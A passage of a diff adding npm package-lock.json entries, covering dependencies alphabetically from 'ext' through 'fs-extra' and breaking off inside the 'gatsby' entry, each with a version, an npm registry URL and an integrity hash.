+            "integrity": "sha512-wccd9Lb6oeJ8yHpUs/8LcnGjFUUQYmOG9A5BNLybRdCzGw0PeUrtBxsIR8bfiur6uSW4OvPkVDoYH06z6/N9+w==",
+            "requires": {
+                "accepts": "^1.3.7",
+                "content-type": "^1.0.4",
+                "http-errors": "^1.7.3",
+                "raw-body": "^2.4.1"
+            },
+            "dependencies": {
+                "depd": {
+                    "version": "1.1.2",
+                    "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.2.tgz",
+                    "integrity": "sha512-7emPTl6Dpo6JRXOXjLRxck+FlLRX5847cLKEn00PLAgc3g2hTZZgr+e4c2v6QpSmLeFP3n5yUo7ft6avBK/5jQ=="
+                },
+                "http-errors": {
+                    "version": "1.8.1",
+                    "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.8.1.tgz",
+                    "integrity": "sha512-Kpk9Sm7NmI+RHhnj6OIWDI1d6fIoFAtFt9RLaTMRlg/8w49juAStsrBgp0Dp4OdxdVbRIeKhtCUvoi/RuAhO4g==",
+                    "requires": {
+                        "depd": "~1.1.2",
+                        "inherits": "2.0.4",
+                        "setprototypeof": "1.2.0",
+                        "statuses": ">= 1.5.0 < 2",
+                        "toidentifier": "1.0.1"
+                    }
+                },
+                "statuses": {
+                    "version": "1.5.0",
+                    "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.5.0.tgz",
+                    "integrity": "sha512-OpZ3zP+jT1PI7I8nemJX4AKmAX070ZkYPVWV/AaKTJl+tXCTGyVdC1a4SL8RUQYEwk/f34ZX8UTykN68FwrqAA=="
+                }
+            }
+        },
+        "ext": {
+            "version": "1.6.0",
+            "resolved": "https://registry.npmjs.org/ext/-/ext-1.6.0.tgz",
+            "integrity": "sha512-sdBImtzkq2HpkdRLtlLWDa6w4DX22ijZLKx8BMPUuKe1c5lbN6xwQDQCxSfxBQnHZ13ls/FH0MQZx/q/gr6FQg==",
+            "requires": {
+                "type": "^2.5.0"
+            },
+            "dependencies": {
+                "type": {
+                    "version": "2.7.2",
+                    "resolved": "https://registry.npmjs.org/type/-/type-2.7.2.tgz",
+                    "integrity": "sha512-dzlvlNlt6AXU7EBSfpAscydQ7gXB+pPGsPnfJnZpiNJBDj7IaJzQlBZYGdEi4R9HmPdBv2XmWJ6YUtoTa7lmCw=="
+                }
+            }
+        },
+        "extend": {
+            "version": "3.0.2",
+            "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz",
+            "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g=="
+        },
+        "extend-shallow": {
+            "version": "3.0.2",
+            "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz",
+            "integrity": "sha512-BwY5b5Ql4+qZoefgMj2NUmx+tehVTH/Kf4k1ZEtOHNFcm2wSxMRo992l6X3TIgni2eZVTZ85xMOjF31fwZAj6Q==",
+            "requires": {
+                "assign-symbols": "^1.0.0",
+                "is-extendable": "^1.0.1"
+            },
+            "dependencies": {
+                "is-extendable": {
+                    "version": "1.0.1",
+                    "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz",
+                    "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==",
+                    "requires": {
+                        "is-plain-object": "^2.0.4"
+                    }
+                }
+            }
+        },
+        "external-editor": {
+            "version": "3.1.0",
+            "resolved": "https://registry.npmjs.org/external-editor/-/external-editor-3.1.0.tgz",
+            "integrity": "sha512-hMQ4CX1p1izmuLYyZqLMO/qGNw10wSv9QDCPfzXfyFrOaCSSoRfqE1Kf1s5an66J5JZC62NewG+mK49jOCtQew==",
+            "requires": {
+                "chardet": "^0.7.0",
+                "iconv-lite": "^0.4.24",
+                "tmp": "^0.0.33"
+            },
+            "dependencies": {
+                "tmp": {
+                    "version": "0.0.33",
+                    "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.0.33.tgz",
+                    "integrity": "sha512-jRCJlojKnZ3addtTOjdIqoRuPEKBvNXcGYqzO6zWZX8KfKEpnGY5jfggJQ3EjKuu8D4bJRr0y+cYJFmYbImXGw==",
+                    "requires": {
+                        "os-tmpdir": "~1.0.2"
+                    }
+                }
+            }
+        },
+        "extglob": {
+            "version": "0.3.2",
+            "resolved": "https://registry.npmjs.org/extglob/-/extglob-0.3.2.tgz",
+            "integrity": "sha512-1FOj1LOwn42TMrruOHGt18HemVnbwAmAak7krWk+wa93KXxGbK+2jpezm+ytJYDaBX0/SPLZFHKM7m+tKobWGg==",
+            "requires": {
+                "is-extglob": "^1.0.0"
+            },
+            "dependencies": {
+                "is-extglob": {
+                    "version": "1.0.0",
+                    "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-1.0.0.tgz",
+                    "integrity": "sha512-7Q+VbVafe6x2T+Tu6NcOf6sRklazEPmBoB3IWk3WdGZM2iGUwU/Oe3Wtq5lSEkDTTlpp8yx+5t4pzO/i9Ty1ww=="
+                }
+            }
+        },
+        "extract-files": {
+            "version": "9.0.0",
+            "resolved": "https://registry.npmjs.org/extract-files/-/extract-files-9.0.0.tgz",
+            "integrity": "sha512-CvdFfHkC95B4bBBk36hcEmvdR2awOdhhVUYH6S/zrVj3477zven/fJMYg7121h4T1xHZC+tetUpubpAhxwI7hQ=="
+        },
+        "extsprintf": {
+            "version": "1.3.0",
+            "resolved": "https://registry.npmjs.org/extsprintf/-/extsprintf-1.3.0.tgz",
+            "integrity": "sha512-11Ndz7Nv+mvAC1j0ktTa7fAb0vLyGGX+rMHNBYQviQDGU0Hw7lhctJANqbPhu9nV9/izT/IntTgZ7Im/9LJs9g=="
+        },
+        "fast-copy": {
+            "version": "2.1.3",
+            "resolved": "https://registry.npmjs.org/fast-copy/-/fast-copy-2.1.3.tgz",
+            "integrity": "sha512-LDzYKNTHhD+XOp8wGMuCkY4eTxFZOOycmpwLBiuF3r3OjOmZnURRD8t2dUAbmKuXGbo/MGggwbSjcBdp8QT0+g=="
+        },
+        "fast-deep-equal": {
+            "version": "3.1.3",
+            "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz",
+            "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q=="
+        },
+        "fast-glob": {
+            "version": "3.2.11",
+            "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.2.11.tgz",
+            "integrity": "sha512-xrO3+1bxSo3ZVHAnqzyuewYT6aMFHRAd4Kcs92MAonjwQZLsK9d0SF1IyQ3k5PoirxTW0Oe/RqFgMQ6TcNE5Ew==",
+            "requires": {
+                "@nodelib/fs.stat": "^2.0.2",
+                "@nodelib/fs.walk": "^1.2.3",
+                "glob-parent": "^5.1.2",
+                "merge2": "^1.3.0",
+                "micromatch": "^4.0.4"
+            },
+            "dependencies": {
+                "micromatch": {
+                    "version": "4.0.5",
+                    "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.5.tgz",
+                    "integrity": "sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA==",
+                    "requires": {
+                        "braces": "^3.0.2",
+                        "picomatch": "^2.3.1"
+                    }
+                }
+            }
+        },
+        "fast-json-stable-stringify": {
+            "version": "2.1.0",
+            "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz",
+            "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw=="
+        },
+        "fast-levenshtein": {
+            "version": "2.0.6",
+            "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz",
+            "integrity": "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw=="
+        },
+        "fastest-levenshtein": {
+            "version": "1.0.16",
+            "resolved": "https://registry.npmjs.org/fastest-levenshtein/-/fastest-levenshtein-1.0.16.tgz",
+            "integrity": "sha512-eRnCtTTtGZFpQCwhJiUOuxPQWRXVKYDn0b2PeHfXL6/Zi53SLAzAHfVhVWK2AryC/WH05kGfxhFIPvTF0SXQzg=="
+        },
+        "fastparse": {
+            "version": "1.1.2",
+            "resolved": "https://registry.npmjs.org/fastparse/-/fastparse-1.1.2.tgz",
+            "integrity": "sha512-483XLLxTVIwWK3QTrMGRqUfUpoOs/0hbQrl2oz4J0pAcm3A3bu84wxTFqGqkJzewCLdME38xJLJAxBABfQT8sQ=="
+        },
+        "fastq": {
+            "version": "1.13.0",
+            "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.13.0.tgz",
+            "integrity": "sha512-YpkpUnK8od0o1hmeSc7UUs/eB/vIPWJYjKck2QKIzAf71Vm1AAQ3EbuZB3g2JIy+pg+ERD0vqI79KyZiB2e2Nw==",
+            "requires": {
+                "reusify": "^1.0.4"
+            }
+        },
+        "faye-websocket": {
+            "version": "0.11.4",
+            "resolved": "https://registry.npmjs.org/faye-websocket/-/faye-websocket-0.11.4.tgz",
+            "integrity": "sha512-CzbClwlXAuiRQAlUyfqPgvPoNKTckTPGfwZV4ZdAhVcP2lh9KUxJg2b5GkE7XbjKQ3YJnQ9z6D9ntLAlB+tP8g==",
+            "requires": {
+                "websocket-driver": ">=0.5.1"
+            }
+        },
+        "fd": {
+            "version": "0.0.3",
+            "resolved": "https://registry.npmjs.org/fd/-/fd-0.0.3.tgz",
+            "integrity": "sha512-iAHrIslQb3U68OcMSP0kkNWabp7sSN6d2TBSb2JO3gcLJVDd4owr/hKM4SFJovFOUeeXeItjYgouEDTMWiVAnA=="
+        },
+        "figgy-pudding": {
+            "version": "3.5.2",
+            "resolved": "https://registry.npmjs.org/figgy-pudding/-/figgy-pudding-3.5.2.tgz",
+            "integrity": "sha512-0btnI/H8f2pavGMN8w40mlSKOfTK2SVJmBfBeVIj3kNw0swwgzyRq0d5TJVOwodFmtvpPeWPN/MCcfuWF0Ezbw=="
+        },
+        "figures": {
+            "version": "3.2.0",
+            "resolved": "https://registry.npmjs.org/figures/-/figures-3.2.0.tgz",
+            "integrity": "sha512-yaduQFRKLXYOGgEn6AZau90j3ggSOyiqXU0F9JZfeXYhNa+Jk4X+s45A2zg5jns87GAFa34BBm2kXw4XpNcbdg==",
+            "requires": {
+                "escape-string-regexp": "^1.0.5"
+            }
+        },
+        "file-entry-cache": {
+            "version": "5.0.1",
+            "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-5.0.1.tgz",
+            "integrity": "sha512-bCg29ictuBaKUwwArK4ouCaqDgLZcysCFLmM/Yn/FDoqndh/9vNuQfXRDvTuXKLxfD/JtZQGKFT8MGcJBK644g==",
+            "requires": {
+                "flat-cache": "^2.0.1"
+            }
+        },
+        "file-loader": {
+            "version": "1.1.11",
+            "resolved": "https://registry.npmjs.org/file-loader/-/file-loader-1.1.11.tgz",
+            "integrity": "sha512-TGR4HU7HUsGg6GCOPJnFk06RhWgEWFLAGWiT6rcD+GRC2keU3s9RGJ+b3Z6/U73jwwNb2gKLJ7YCrp+jvU4ALg==",
+            "requires": {
+                "loader-utils": "^1.0.2",
+                "schema-utils": "^0.4.5"
+            },
+            "dependencies": {
+                "json5": {
+                    "version": "1.0.1",
+                    "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz",
+                    "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==",
+                    "requires": {
+                        "minimist": "^1.2.0"
+                    }
+                },
+                "loader-utils": {
+                    "version": "1.4.0",
+                    "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.4.0.tgz",
+                    "integrity": "sha512-qH0WSMBtn/oHuwjy/NucEgbx5dbxxnxup9s4PVXJUDHZBQY+s0NWA9rJf53RBnQZxfch7euUui7hpoAPvALZdA==",
+                    "requires": {
+                        "big.js": "^5.2.2",
+                        "emojis-list": "^3.0.0",
+                        "json5": "^1.0.1"
+                    }
+                },
+                "schema-utils": {
+                    "version": "0.4.7",
+                    "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-0.4.7.tgz",
+                    "integrity": "sha512-v/iwU6wvwGK8HbU9yi3/nhGzP0yGSuhQMzL6ySiec1FSrZZDkhm4noOSWzrNFo/jEc+SJY6jRTwuwbSXJPDUnQ==",
+                    "requires": {
+                        "ajv": "^6.1.0",
+                        "ajv-keywords": "^3.1.0"
+                    }
+                }
+            }
+        },
+        "file-type": {
+            "version": "16.5.4",
+            "resolved": "https://registry.npmjs.org/file-type/-/file-type-16.5.4.tgz",
+            "integrity": "sha512-/yFHK0aGjFEgDJjEKP0pWCplsPFPhwyfwevf/pVxiN0tmE4L9LmwWxWukdJSHdoCli4VgQLehjJtwQBnqmsKcw==",
+            "requires": {
+                "readable-web-to-node-stream": "^3.0.0",
+                "strtok3": "^6.2.4",
+                "token-types": "^4.1.1"
+            }
+        },
+        "filename-regex": {
+            "version": "2.0.1",
+            "resolved": "https://registry.npmjs.org/filename-regex/-/filename-regex-2.0.1.tgz",
+            "integrity": "sha512-BTCqyBaWBTsauvnHiE8i562+EdJj+oUpkqWp2R1iCoR8f6oo8STRu3of7WJJ0TqWtxN50a5YFpzYK4Jj9esYfQ=="
+        },
+        "filesize": {
+            "version": "3.5.11",
+            "resolved": "https://registry.npmjs.org/filesize/-/filesize-3.5.11.tgz",
+            "integrity": "sha512-ZH7loueKBoDb7yG9esn1U+fgq7BzlzW6NRi5/rMdxIZ05dj7GFD/Xc5rq2CDt5Yq86CyfSYVyx4242QQNZbx1g=="
+        },
+        "fill-range": {
+            "version": "7.0.1",
+            "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz",
+            "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==",
+            "requires": {
+                "to-regex-range": "^5.0.1"
+            }
+        },
+        "filter-obj": {
+            "version": "1.1.0",
+            "resolved": "https://registry.npmjs.org/filter-obj/-/filter-obj-1.1.0.tgz",
+            "integrity": "sha512-8rXg1ZnX7xzy2NGDVkBVaAy+lSlPNwad13BtgSlLuxfIslyt5Vg64U7tFcCt4WS1R0hvtnQybT/IyCkGZ3DpXQ=="
+        },
+        "finalhandler": {
+            "version": "1.2.0",
+            "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.2.0.tgz",
+            "integrity": "sha512-5uXcUVftlQMFnWC9qu/svkWv3GTd2PfUhK/3PLkYNAe7FbqJMt3515HaxE6eRL74GdsriiwujiawdaB1BpEISg==",
+            "requires": {
+                "debug": "2.6.9",
+                "encodeurl": "~1.0.2",
+                "escape-html": "~1.0.3",
+                "on-finished": "2.4.1",
+                "parseurl": "~1.3.3",
+                "statuses": "2.0.1",
+                "unpipe": "~1.0.0"
+            }
+        },
+        "find-cache-dir": {
+            "version": "3.3.2",
+            "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-3.3.2.tgz",
+            "integrity": "sha512-wXZV5emFEjrridIgED11OoUKLxiYjAcqot/NJdAkOhlJ+vGzwhOAfcG5OX1jP+S0PcjEn8bdMJv+g2jwQ3Onig==",
+            "requires": {
+                "commondir": "^1.0.1",
+                "make-dir": "^3.0.2",
+                "pkg-dir": "^4.1.0"
+            }
+        },
+        "find-up": {
+            "version": "4.1.0",
+            "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz",
+            "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==",
+            "requires": {
+                "locate-path": "^5.0.0",
+                "path-exists": "^4.0.0"
+            }
+        },
+        "flat-cache": {
+            "version": "2.0.1",
+            "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-2.0.1.tgz",
+            "integrity": "sha512-LoQe6yDuUMDzQAEH8sgmh4Md6oZnc/7PjtwjNFSzveXqSHt6ka9fPBuso7IGf9Rz4uqnSnWiFH2B/zj24a5ReA==",
+            "requires": {
+                "flatted": "^2.0.0",
+                "rimraf": "2.6.3",
+                "write": "1.0.3"
+            },
+            "dependencies": {
+                "rimraf": {
+                    "version": "2.6.3",
+                    "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.6.3.tgz",
+                    "integrity": "sha512-mwqeW5XsA2qAejG46gYdENaxXjx9onRNCfn7L0duuP4hCuTIi/QO7PDK07KJfp1d+izWPrzEJDcSqBa0OZQriA==",
+                    "requires": {
+                        "glob": "^7.1.3"
+                    }
+                }
+            }
+        },
+        "flatted": {
+            "version": "2.0.2",
+            "resolved": "https://registry.npmjs.org/flatted/-/flatted-2.0.2.tgz",
+            "integrity": "sha512-r5wGx7YeOwNWNlCA0wQ86zKyDLMQr+/RB8xy74M4hTphfmjlijTSSXGuH8rnvKZnfT9i+75zmd8jcKdMR4O6jA=="
+        },
+        "flush-write-stream": {
+            "version": "1.1.1",
+            "resolved": "https://registry.npmjs.org/flush-write-stream/-/flush-write-stream-1.1.1.tgz",
+            "integrity": "sha512-3Z4XhFZ3992uIq0XOqb9AreonueSYphE6oYbpt5+3u06JWklbsPkNv3ZKkP9Bz/r+1MWCaMoSQ28P85+1Yc77w==",
+            "requires": {
+                "inherits": "^2.0.3",
+                "readable-stream": "^2.3.6"
+            },
+            "dependencies": {
+                "readable-stream": {
+                    "version": "2.3.7",
+                    "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
+                    "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
+                    "requires": {
+                        "core-util-is": "~1.0.0",
+                        "inherits": "~2.0.3",
+                        "isarray": "~1.0.0",
+                        "process-nextick-args": "~2.0.0",
+                        "safe-buffer": "~5.1.1",
+                        "string_decoder": "~1.1.1",
+                        "util-deprecate": "~1.0.1"
+                    }
+                }
+            }
+        },
+        "follow-redirects": {
+            "version": "1.15.1",
+            "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.1.tgz",
+            "integrity": "sha512-yLAMQs+k0b2m7cVxpS1VKJVvoz7SS9Td1zss3XRwXj+ZDH00RJgnuLx7E44wx02kQLrdM3aOOy+FpzS7+8OizA=="
+        },
+        "for-each": {
+            "version": "0.3.3",
+            "resolved": "https://registry.npmjs.org/for-each/-/for-each-0.3.3.tgz",
+            "integrity": "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw==",
+            "requires": {
+                "is-callable": "^1.1.3"
+            }
+        },
+        "for-in": {
+            "version": "1.0.2",
+            "resolved": "https://registry.npmjs.org/for-in/-/for-in-1.0.2.tgz",
+            "integrity": "sha512-7EwmXrOjyL+ChxMhmG5lnW9MPt1aIeZEwKhQzoBUdTV0N3zuwWDZYVJatDvZ2OyzPUvdIAZDsCetk3coyMfcnQ=="
+        },
+        "for-own": {
+            "version": "0.1.5",
+            "resolved": "https://registry.npmjs.org/for-own/-/for-own-0.1.5.tgz",
+            "integrity": "sha512-SKmowqGTJoPzLO1T0BBJpkfp3EMacCMOuH40hOUbrbzElVktk4DioXVM99QkLCyKoiuOmyjgcWMpVz2xjE7LZw==",
+            "requires": {
+                "for-in": "^1.0.1"
+            }
+        },
+        "forever-agent": {
+            "version": "0.6.1",
+            "resolved": "https://registry.npmjs.org/forever-agent/-/forever-agent-0.6.1.tgz",
+            "integrity": "sha512-j0KLYPhm6zeac4lz3oJ3o65qvgQCcPubiyotZrXqEaG4hNagNYO8qdlUrX5vwqv9ohqeT/Z3j6+yW067yWWdUw=="
+        },
+        "form-data": {
+            "version": "4.0.0",
+            "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.0.tgz",
+            "integrity": "sha512-ETEklSGi5t0QMZuiXoA/Q6vcnxcLQP5vdugSpuAyi6SVGi2clPPp+xgEhuMaHC+zGgn31Kd235W35f7Hykkaww==",
+            "requires": {
+                "asynckit": "^0.4.0",
+                "combined-stream": "^1.0.8",
+                "mime-types": "^2.1.12"
+            }
+        },
+        "forwarded": {
+            "version": "0.2.0",
+            "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz",
+            "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow=="
+        },
+        "fragment-cache": {
+            "version": "0.2.1",
+            "resolved": "https://registry.npmjs.org/fragment-cache/-/fragment-cache-0.2.1.tgz",
+            "integrity": "sha512-GMBAbW9antB8iZRHLoGw0b3HANt57diZYFO/HL1JGIC1MjKrdmhxvrJbupnVvpys0zsz7yBApXdQyfepKly2kA==",
+            "requires": {
+                "map-cache": "^0.2.2"
+            }
+        },
+        "fresh": {
+            "version": "0.5.2",
+            "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz",
+            "integrity": "sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q=="
+        },
+        "from2": {
+            "version": "2.3.0",
+            "resolved": "https://registry.npmjs.org/from2/-/from2-2.3.0.tgz",
+            "integrity": "sha512-OMcX/4IC/uqEPVgGeyfN22LJk6AZrMkRZHxcHBMBvHScDGgwTm2GT2Wkgtocyd3JfZffjj2kYUDXXII0Fk9W0g==",
+            "requires": {
+                "inherits": "^2.0.1",
+                "readable-stream": "^2.0.0"
+            },
+            "dependencies": {
+                "readable-stream": {
+                    "version": "2.3.7",
+                    "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
+                    "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
+                    "requires": {
+                        "core-util-is": "~1.0.0",
+                        "inherits": "~2.0.3",
+                        "isarray": "~1.0.0",
+                        "process-nextick-args": "~2.0.0",
+                        "safe-buffer": "~5.1.1",
+                        "string_decoder": "~1.1.1",
+                        "util-deprecate": "~1.0.1"
+                    }
+                }
+            }
+        },
+        "fs-exists-cached": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/fs-exists-cached/-/fs-exists-cached-1.0.0.tgz",
+            "integrity": "sha512-kSxoARUDn4F2RPXX48UXnaFKwVU7Ivd/6qpzZL29MCDmr9sTvybv4gFCp+qaI4fM9m0z9fgz/yJvi56GAz+BZg=="
+        },
+        "fs-extra": {
+            "version": "7.0.1",
+            "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-7.0.1.tgz",
+            "integrity": "sha512-YJDaCJZEnBmcbw13fvdAM9AwNOJwOzrE4pqMqBq5nFiEqXUqHwlK4B+3pUw6JNvfSPtX05xFHtYy/1ni01eGCw==",
+            "requires": {
+                "graceful-fs": "^4.1.2",
+                "jsonfile": "^4.0.0",
+                "universalify": "^0.1.0"
+            },
+            "dependencies": {
+                "jsonfile": {
+                    "version": "4.0.0",
+                    "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-4.0.0.tgz",
+                    "integrity": "sha512-m6F1R3z8jjlf2imQHS2Qez5sjKWQzbuuhuJ/FKYFRZvPE3PuHcSMVZzfsLhGVOkfd20obL5SWEBew5ShlquNxg==",
+                    "requires": {
+                        "graceful-fs": "^4.1.6"
+                    }
+                }
+            }
+        },
+        "fs-minipass": {
+            "version": "2.1.0",
+            "resolved": "https://registry.npmjs.org/fs-minipass/-/fs-minipass-2.1.0.tgz",
+            "integrity": "sha512-V/JgOLFCS+R6Vcq0slCuaeWEdNC3ouDlJMNIsacH2VtALiu9mV4LPrHc5cDl8k5aw6J8jwgWWpiTo5RYhmIzvg==",
+            "requires": {
+                "minipass": "^3.0.0"
+            }
+        },
+        "fs-write-stream-atomic": {
+            "version": "1.0.10",
+            "resolved": "https://registry.npmjs.org/fs-write-stream-atomic/-/fs-write-stream-atomic-1.0.10.tgz",
+            "integrity": "sha512-gehEzmPn2nAwr39eay+x3X34Ra+M2QlVUTLhkXPjWdeO8RF9kszk116avgBJM3ZyNHgHXBNx+VmPaFC36k0PzA==",
+            "requires": {
+                "graceful-fs": "^4.1.2",
+                "iferr": "^0.1.5",
+                "imurmurhash": "^0.1.4",
+                "readable-stream": "1 || 2"
+            },
+            "dependencies": {
+                "readable-stream": {
+                    "version": "2.3.7",
+                    "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
+                    "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
+                    "requires": {
+                        "core-util-is": "~1.0.0",
+                        "inherits": "~2.0.3",
+                        "isarray": "~1.0.0",
+                        "process-nextick-args": "~2.0.0",
+                        "safe-buffer": "~5.1.1",
+                        "string_decoder": "~1.1.1",
+                        "util-deprecate": "~1.0.1"
+                    }
+                }
+            }
+        },
+        "fs.realpath": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz",
+            "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw=="
+        },
+        "fsevents": {
+            "version": "2.1.3",
+            "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.1.3.tgz",
+            "integrity": "sha512-Auw9a4AxqWpa9GUfj370BMPzzyncfBABW8Mab7BGWBYDj4Isgq+cDKtx0i6u9jcX9pQDnswsaaOTgTmA5pEjuQ==",
+            "optional": true
+        },
+        "fstream": {
+            "version": "1.0.12",
+            "resolved": "https://registry.npmjs.org/fstream/-/fstream-1.0.12.tgz",
+            "integrity": "sha512-WvJ193OHa0GHPEL+AycEJgxvBEwyfRkN1vhjca23OaPVMCaLCXTd5qAu82AjTcgP1UJmytkOKb63Ypde7raDIg==",
+            "requires": {
+                "graceful-fs": "^4.1.2",
+                "inherits": "~2.0.0",
+                "mkdirp": ">=0.5 0",
+                "rimraf": "2"
+            }
+        },
+        "function-bind": {
+            "version": "1.1.1",
+            "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz",
+            "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A=="
+        },
+        "function.prototype.name": {
+            "version": "1.1.5",
+            "resolved": "https://registry.npmjs.org/function.prototype.name/-/function.prototype.name-1.1.5.tgz",
+            "integrity": "sha512-uN7m/BzVKQnCUF/iW8jYea67v++2u7m5UgENbHRtdDVclOUP+FMPlCNdmk0h/ysGyo2tavMJEDqJAkJdRa1vMA==",
+            "requires": {
+                "call-bind": "^1.0.2",
+                "define-properties": "^1.1.3",
+                "es-abstract": "^1.19.0",
+                "functions-have-names": "^1.2.2"
+            }
+        },
+        "functional-red-black-tree": {
+            "version": "1.0.1",
+            "resolved": "https://registry.npmjs.org/functional-red-black-tree/-/functional-red-black-tree-1.0.1.tgz",
+            "integrity": "sha512-dsKNQNdj6xA3T+QlADDA7mOSlX0qiMINjn0cgr+eGHGsbSHzTabcIogz2+p/iqP1Xs6EP/sS2SbqH+brGTbq0g=="
+        },
+        "functions-have-names": {
+            "version": "1.2.3",
+            "resolved": "https://registry.npmjs.org/functions-have-names/-/functions-have-names-1.2.3.tgz",
+            "integrity": "sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ=="
+        },
+        "gatsby": {
+            "version": "2.32.13",
+            "resolved": "https://registry.npmjs.org/gatsby/-/gatsby-2.32.13.tgz",
+            "integrity": "sha512-BYfiI/k+t8m/IzSkWZH8Cc0v7rJw6giSjG5sX25LWdfkQMqUvg/Gn6OC8BWwRPXnEwe7x0n5jbH+peO0p34ZHQ==",
+            "requires": {
+                "@babel/code-frame": "^7.10.4",
+                "@babel/core": "^7.12.3",
+                "@babel/parser": "^7.12.5",
+                "@babel/runtime": "^7.12.5",
+                "@babel/traverse": "^7.12.5",
+                "@babel/types": "^7.12.6",
+                "@hapi/joi": "^15.1.1",
+                "@mikaelkristiansson/domready": "^1.0.10",
+                "@nodelib/fs.walk": "^1.2.4",
+                "@pieh/friendly-errors-webpack-plugin": "1.7.0-chalk-2",
+                "@pmmmwh/react-refresh-webpack-plugin": "^0.4.1",
+                "@reach/router": "^1.3.4",
+                "@types/http-proxy": "^1.17.4",
+                "@typescript-eslint/eslint-plugin": "^2.24.0",
+                "@typescript-eslint/parser": "^2.24.0",
+                "address": "1.1.2",
+                "anser": "^2.0.1",
+                "ansi-html": "^0.0.7",
+                "autoprefixer": "^9.8.4",
+                "axios": "^0.21.1",
